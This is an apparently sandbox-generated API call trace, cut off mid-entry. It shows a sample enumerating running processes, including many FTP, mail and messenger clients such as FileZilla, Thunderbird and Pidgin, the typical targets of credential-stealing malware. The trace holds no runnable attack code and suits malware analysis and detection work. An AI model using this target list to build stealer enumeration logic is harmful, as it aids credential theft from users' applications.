Process32NextW (in: hSnapshot=0x2c8, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0108.041] lstrlenW (lpString="dwm.exe") returned 7 [0108.041] Process32NextW (in: hSnapshot=0x2c8, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x53, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0108.042] lstrlenW (lpString="svchost.exe") returned 11 [0108.042] Process32NextW (in: hSnapshot=0x2c8, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0108.042] lstrlenW (lpString="svchost.exe") returned 11 [0108.042] Process32NextW (in: hSnapshot=0x2c8, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0108.043] lstrlenW (lpString="svchost.exe") returned 11 [0108.043] Process32NextW (in: hSnapshot=0x2c8, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0108.044] lstrlenW (lpString="svchost.exe") returned 11 [0108.044] Process32NextW (in: hSnapshot=0x2c8, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0108.044] lstrlenW (lpString="svchost.exe") returned 11 [0108.044] Process32NextW (in: hSnapshot=0x2c8, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x434, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0108.045] lstrlenW (lpString="svchost.exe") returned 11 [0108.045] Process32NextW (in: hSnapshot=0x2c8, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x554, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0108.046] lstrlenW (lpString="svchost.exe") returned 11 [0108.046] Process32NextW (in: hSnapshot=0x2c8, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0108.047] lstrlenW (lpString="svchost.exe") returned 11 [0108.047] Process32NextW (in: hSnapshot=0x2c8, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x598, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0108.048] lstrlenW (lpString="svchost.exe") returned 11 [0108.048] Process32NextW (in: hSnapshot=0x2c8, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0108.048] lstrlenW (lpString="svchost.exe") returned 11 [0108.048] Process32NextW (in: hSnapshot=0x2c8, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0108.049] lstrlenW (lpString="spoolsv.exe") returned 11 [0108.049] Process32NextW (in: hSnapshot=0x2c8, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x69c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0108.050] lstrlenW (lpString="svchost.exe") returned 11 [0108.050] Process32NextW (in: hSnapshot=0x2c8, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x554, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0108.050] lstrlenW (lpString="audiodg.exe") returned 11 [0108.050] Process32NextW (in: hSnapshot=0x2c8, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x708, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x3ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0108.051] lstrlenW (lpString="sihost.exe") returned 10 [0108.051] Process32NextW (in: hSnapshot=0x2c8, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x720, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0108.052] lstrlenW (lpString="svchost.exe") returned 11 [0108.052] Process32NextW (in: hSnapshot=0x2c8, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0108.053] lstrlenW (lpString="taskhostw.exe") returned 13 [0108.053] Process32NextW (in: hSnapshot=0x2c8, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x560, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x36, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0108.053] lstrlenW (lpString="explorer.exe") returned 12 [0108.053] Process32NextW (in: hSnapshot=0x2c8, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x818, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0108.054] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0108.054] Process32NextW (in: hSnapshot=0x2c8, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x84c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0108.054] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0108.055] Process32NextW (in: hSnapshot=0x2c8, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0108.055] lstrlenW (lpString="Memory Compression") returned 18 [0108.055] Process32NextW (in: hSnapshot=0x2c8, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0108.056] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0108.056] Process32NextW (in: hSnapshot=0x2c8, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0108.056] lstrlenW (lpString="SearchUI.exe") returned 12 [0108.057] Process32NextW (in: hSnapshot=0x2c8, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbe4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0108.057] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0108.057] Process32NextW (in: hSnapshot=0x2c8, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe0c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0108.058] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0108.058] Process32NextW (in: hSnapshot=0x2c8, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfdc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="pending.exe")) returned 1 [0108.059] lstrlenW (lpString="pending.exe") returned 11 [0108.059] Process32NextW (in: hSnapshot=0x2c8, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="bug workers.exe")) returned 1 [0108.059] lstrlenW (lpString="bug workers.exe") returned 15 [0108.059] Process32NextW (in: hSnapshot=0x2c8, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x38c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="succeed.exe")) returned 1 [0108.060] lstrlenW (lpString="succeed.exe") returned 11 [0108.060] Process32NextW (in: hSnapshot=0x2c8, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="springs antonio washer.exe")) returned 1 [0108.061] lstrlenW (lpString="springs antonio washer.exe") returned 26 [0108.061] Process32NextW (in: hSnapshot=0x2c8, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="bookings.exe")) returned 1 [0108.061] lstrlenW (lpString="bookings.exe") returned 12 [0108.062] Process32NextW (in: hSnapshot=0x2c8, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="tramadol for.exe")) returned 1 [0108.062] lstrlenW (lpString="tramadol for.exe") returned 16 [0108.062] Process32NextW (in: hSnapshot=0x2c8, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x550, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="freezenegotiationsg.exe")) returned 1 [0108.063] lstrlenW (lpString="freezenegotiationsg.exe") returned 23 [0108.063] Process32NextW (in: hSnapshot=0x2c8, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="starter detection.exe")) returned 1 [0108.063] lstrlenW (lpString="starter detection.exe") returned 21 [0108.063] Process32NextW (in: hSnapshot=0x2c8, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="unified aus.exe")) returned 1 [0108.064] lstrlenW (lpString="unified aus.exe") returned 15 [0108.064] Process32NextW (in: hSnapshot=0x2c8, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="taiwan registration.exe")) returned 1 [0108.306] lstrlenW (lpString="taiwan registration.exe") returned 23 [0108.306] Process32NextW (in: hSnapshot=0x2c8, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xac0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="idolcollectibles.exe")) returned 1 [0108.307] lstrlenW (lpString="idolcollectibles.exe") returned 20 [0108.307] Process32NextW (in: hSnapshot=0x2c8, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xab4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="headlines.exe")) returned 1 [0108.307] lstrlenW (lpString="headlines.exe") returned 13 [0108.308] Process32NextW (in: hSnapshot=0x2c8, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="ash-method.exe")) returned 1 [0108.308] lstrlenW (lpString="ash-method.exe") returned 14 [0108.308] Process32NextW (in: hSnapshot=0x2c8, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="jane_conscious_information.exe")) returned 1 [0108.309] lstrlenW (lpString="jane_conscious_information.exe") returned 30 [0108.309] Process32NextW (in: hSnapshot=0x2c8, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="programmes officially.exe")) returned 1 [0108.309] lstrlenW (lpString="programmes officially.exe") returned 25 [0108.309] Process32NextW (in: hSnapshot=0x2c8, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="gerald_cdna_charleston.exe")) returned 1 [0108.310] lstrlenW (lpString="gerald_cdna_charleston.exe") returned 26 [0108.310] Process32NextW (in: hSnapshot=0x2c8, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x79c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="george-depending.exe")) returned 1 [0108.311] lstrlenW (lpString="george-depending.exe") returned 20 [0108.311] Process32NextW (in: hSnapshot=0x2c8, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="examinationrecipes.exe")) returned 1 [0108.311] lstrlenW (lpString="examinationrecipes.exe") returned 22 [0108.311] Process32NextW (in: hSnapshot=0x2c8, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="repeat go.exe")) returned 1 [0108.312] lstrlenW (lpString="repeat go.exe") returned 13 [0108.312] Process32NextW (in: hSnapshot=0x2c8, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="showcase.exe")) returned 1 [0108.312] lstrlenW (lpString="showcase.exe") returned 12 [0108.312] Process32NextW (in: hSnapshot=0x2c8, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0108.313] lstrlenW (lpString="3dftp.exe") returned 9 [0108.313] Process32NextW (in: hSnapshot=0x2c8, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0108.314] lstrlenW (lpString="absolutetelnet.exe") returned 18 [0108.314] Process32NextW (in: hSnapshot=0x2c8, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0108.315] lstrlenW (lpString="alftp.exe") returned 9 [0108.316] Process32NextW (in: hSnapshot=0x2c8, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdd0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0108.317] lstrlenW (lpString="barca.exe") returned 9 [0108.317] Process32NextW (in: hSnapshot=0x2c8, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0108.318] lstrlenW (lpString="bitkinex.exe") returned 12 [0108.318] Process32NextW (in: hSnapshot=0x2c8, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x868, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0108.319] lstrlenW (lpString="coreftp.exe") returned 11 [0108.319] Process32NextW (in: hSnapshot=0x2c8, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x910, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0108.320] lstrlenW (lpString="far.exe") returned 7 [0108.320] Process32NextW (in: hSnapshot=0x2c8, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdfc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0108.321] lstrlenW (lpString="filezilla.exe") returned 13 [0108.321] Process32NextW (in: hSnapshot=0x2c8, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0108.322] lstrlenW (lpString="flashfxp.exe") returned 12 [0108.322] Process32NextW (in: hSnapshot=0x2c8, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x738, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0108.323] lstrlenW (lpString="fling.exe") returned 9 [0108.323] Process32NextW (in: hSnapshot=0x2c8, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0108.324] lstrlenW (lpString="foxmailincmail.exe") returned 18 [0108.325] Process32NextW (in: hSnapshot=0x2c8, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xac8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0108.326] lstrlenW (lpString="gmailnotifierpro.exe") returned 20 [0108.326] Process32NextW (in: hSnapshot=0x2c8, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0108.327] lstrlenW (lpString="icq.exe") returned 7 [0108.327] Process32NextW (in: hSnapshot=0x2c8, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0108.328] lstrlenW (lpString="leechftp.exe") returned 12 [0108.328] Process32NextW (in: hSnapshot=0x2c8, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xea4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0108.330] lstrlenW (lpString="ncftp.exe") returned 9 [0108.330] Process32NextW (in: hSnapshot=0x2c8, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0108.331] lstrlenW (lpString="notepad.exe") returned 11 [0108.331] Process32NextW (in: hSnapshot=0x2c8, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xed8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0108.332] lstrlenW (lpString="operamail.exe") returned 13 [0108.332] Process32NextW (in: hSnapshot=0x2c8, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0108.333] lstrlenW (lpString="pidgin.exe") returned 10 [0108.333] Process32NextW (in: hSnapshot=0x2c8, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0108.334] lstrlenW (lpString="scriptftp.exe") returned 13 [0108.334] Process32NextW (in: hSnapshot=0x2c8, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0108.335] lstrlenW (lpString="skype.exe") returned 9 [0108.335] Process32NextW (in: hSnapshot=0x2c8, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0108.336] lstrlenW (lpString="smartftp.exe") returned 12 [0108.337] Process32NextW (in: hSnapshot=0x2c8, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0108.338] lstrlenW (lpString="thunderbird.exe") returned 15 [0108.338] Process32NextW (in: hSnapshot=0x2c8, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1 [0108.339] lstrlenW (lpString="totalcmd.exe") returned 12 [0108.339] Process32NextW (in: hSnapshot=0x2c8, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0108.340] lstrlenW (lpString="trillian.exe") returned 12 [0108.340] Process32NextW (in: hSnapshot=0x2c8, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0108.341] lstrlenW (lpString="webdrive.exe") returned 12 [0108.341] Process32NextW (in: hSnapshot=0x2c8, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0108.342] lstrlenW 